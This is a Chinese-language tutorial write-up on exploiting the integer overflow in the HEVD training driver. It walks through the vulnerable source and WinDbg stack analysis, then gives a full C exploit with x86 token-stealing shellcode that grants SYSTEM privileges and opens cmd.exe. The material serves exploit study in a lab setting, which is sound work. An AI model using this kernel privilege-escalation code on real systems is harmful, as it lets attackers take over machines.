0x00:前言
这是最后一个简单的漏洞利用了,话不多说直接开始吧。
0x01:漏洞原理
这里是漏洞程序源码:
NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
ULONG Count = 0;
NTSTATUS Status = STATUS_SUCCESS;
ULONG BufferTerminator = 0xBAD0B0B0;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
SIZE_T TerminatorSize = sizeof(BufferTerminator);
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is not doing any arithmetic
// on the user supplied value. Instead, the developer is subtracting the size of
// ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
// not occur and this check will not fail
if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#else
DbgPrint("[+] Triggering Integer Overflow\n");
// Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
// 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
// integer will wrap down and will finally cause this check to fail
if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#endif
// Perform the copy operation
while (Count < (Size / sizeof(ULONG))) {
if (*(PULONG)UserBuffer != BufferTerminator) {
KernelBuffer[Count] = *(PULONG)UserBuffer;
UserBuffer = (PULONG)UserBuffer + 1;
Count++;
}
else {
break;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
对比安全版本和不安全版本,这里本意是想判断用户输入的大小不超过BUFFER_SIZE-4,但是不安全的版本却用
(Size + TerminatorSize) > sizeof(KernelBuffer)
来判断,这里SIZE_T类型为4字节无符号整数,整数溢出会导致0xfffffff+4=3,从而导致很大的Size也可以通过验证。这里用原文的演示代码演示一下:
PS C:\Users\b33f> 0xfffffffc+4
0
PS C:\Users\b33f> 0xffffffff+4
3
这也就是整数溢出的漏洞了。
0x02:漏洞分析
在这两处下断点,可以看到我们输入的数据是多少个ULONG,以及输入后的数据距离返回地址的距离。
首先使用正常大小的数据进行访问。
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
PULONG buf = (PULONG)malloc(4*4);
memset(buf, 0x41, 4*4);
DeviceIoControl(hDevice, 0x222027, buf, 4*4, NULL, 0, &bReturn, NULL);
}
可以看出我们一共输入了四个ULONG类型数字。
Breakpoint 0 hit
8e2e2a82 3bf8 cmp edi,eax
kd> r
eax=00000004 ebx=00000010 ecx=00451918 edx=00000020 esi=00000800 edi=00000000
eip=8e2e2a82 esp=8d99929c ebp=8d999ad0 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202
8e2e2a82 3bf8 cmp edi,eax
//eax为输入数据总数量
继续执行,停在第一次赋值的地方。
kd> dd ebp-0x824
8d9992ac 41414141 00000000 00000000 00000000
8d9992bc 00000000 00000000 00000000 00000000
8d9992cc 00000000 00000000 00000000 00000000
8d9992dc 00000000 00000000 00000000 00000000
8d9992ec 00000000 00000000 00000000 00000000
8d9992fc 00000000 00000000 00000000 00000000
8d99930c 00000000 00000000 00000000 00000000
8d99931c 00000000 00000000 00000000 00000000
kd> kk
Couldn't resolve error at 'k'
kd> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 8d999ad0 [8e2e2afe]=返回地址 0x8e2e2a9b
01 8d999ae0 8e2e3243 0x8e2e2afe
02 8d999afc 83e40593 0x8e2e3243
03 8d999b14 8403499f nt+0x37593
04 8d999b34 84037b71 nt+0x22b99f
05 8d999bd0 8407e3f4 nt+0x22eb71
06 8d999c04 83e471ea nt+0x2753f4
07 8d999c34 77af70b4 nt+0x3e1ea
08 8d999c38 badb0d00 0x77af70b4
09 8d999c3c 002bf5d0 0xbadb0d00
0a 8d999c40 00000000 0x2bf5d0
kd> dd ebp
8d999ad0 8d999ae0 [8e2e2afe]返回地址 00451918 00000010
8d999ae0 8d999afc 8e2e3243 87e51110 87e51180
8d999af0 8584ddf8 858fab08 00000000 8d999b14
8d999b00 83e40593 858fab08 87e51110 87e51110
8d999b10 858fab08 8d999b34 8403499f 8584ddf8
8d999b20 87e51110 87e51180 00000094 04999bac
8d999b30 8d999b44 8d999bd0 84037b71 858fab08
8d999b40 8584ddf8 00000000 83e9a201 00027801
可以看到第一次赋值在ebp-0x824的地址处,而返回地址在ebp+4处,因此首先用0x828个任意数据填充Buffer,再填充的数据为Shellcode地址,再填充停止边界字符即可。
VOID Trigger_shellcode()
{
PVOID MemoAddress = NULL;
DWORD bReturn = 0;
PULONG buf = (PULONG)malloc(0x830);
memset(buf, 0x41, 0x828);
MemoAddress = (PVOID)((ULONG)buf + 0x828);
printf("[+]MemoAddress 0x%p", MemoAddress);
*(PULONG)MemoAddress = (ULONG)&ShellCode;
MemoAddress =(PVOID)((ULONG)MemoAddress +4);
*(PULONG)MemoAddress = 0xbad0b0b0;
DeviceIoControl(hDevice, 0x222027, buf,0xffffffff, NULL, 0, &bReturn, NULL);
}
运行结果
kd> dd ebp
935bdad0 41414141 011b1343 003f4e0c ffffffff
935bdae0 935bdafc 8e2e3243 87462420 87462490
935bdaf0 85aa5840 858fab08 00000000 935bdb14
935bdb00 83e40593 858fab08 87462420 87462420
935bdb10 858fab08 935bdb34 8403499f 85aa5840
935bdb20 87462420 87462490 00000094 045bdbac
935bdb30 935bdb44 935bdbd0 84037b71 858fab08
935bdb40 85aa5840 00000000 83e9a201 00028301
可以看到返回地址已经被修改,这里的操作其实与栈溢出相同。只是利用的漏洞点不同。但是这里会遇到一个异常报错,在原帖教程里并没有提到。就是在 Shellcode函数声名中,一定要写**__declspec(naked) VOID ShellCode()**,该声名表示编译器不会自动构建一些pub ebp之类的操作,完全按照自己的汇编代码执行,才不会导致堆栈崩溃。
0x03:漏洞利用
#include <Windows.h>
#include <stdio.h>
HANDLE hDevice = NULL;
/************************************************************************/
/* Write by Thunder_J 2019.7 */
/* Uninitialized-Stack-Variable */
/************************************************************************/
typedef NTSTATUS(WINAPI* My_NtMapUserPhysicalPages)(
IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OUT PULONG_PTR UserPfnArray);
__declspec(naked) VOID ShellCode()
{
__asm
{
pushad
mov eax, fs: [124h]
mov eax, [eax + 050h]
mov ecx, eax
mov edx, 4
find_sys_pid :
mov eax, [eax + 0b8h]
sub eax, 0b8h
cmp[eax + 0b4h], edx
jnz find_sys_pid
mov edx, [eax + 0f8h]
mov[ecx + 0f8h], edx
popad
xor eax,eax
pop ebp
ret 8
}
}
BOOL init()
{
if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
printf("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
}
else {
printf("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
}
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
VOID Trigger_shellcode()
{
PVOID MemoAddress = NULL;
DWORD bReturn = 0;
PULONG buf = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
0x830);
if (!buf)
{
printf("堆申请失败");
exit(0);
}
RtlFillMemory((PVOID)buf, 0x830, 0x41);
MemoAddress = (PVOID)((ULONG)buf + 0x828 - 32);
*(PULONG)MemoAddress = (ULONG)0x00000000;
MemoAddress = (PVOID)((ULONG)buf + 0x828);
*(PULONG)MemoAddress = (ULONG)&ShellCode;
MemoAddress = (PVOID)((ULONG)MemoAddress + sizeof(ULONG));
*(PULONG)MemoAddress =(ULONG) 0xbad0b0b0;
DeviceIoControl(hDevice, 0x222027, buf, (DWORD)0xffffffff, NULL, 0, &bReturn, NULL);
HeapFree(GetProcessHeap(), 0, (LPVOID)buf);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
printf("[+]Start to Create cmd...\n");
CreateCmd();
system("pause");
return 0;
}
0x04:明日计划
继续学习HEVD系列漏洞利用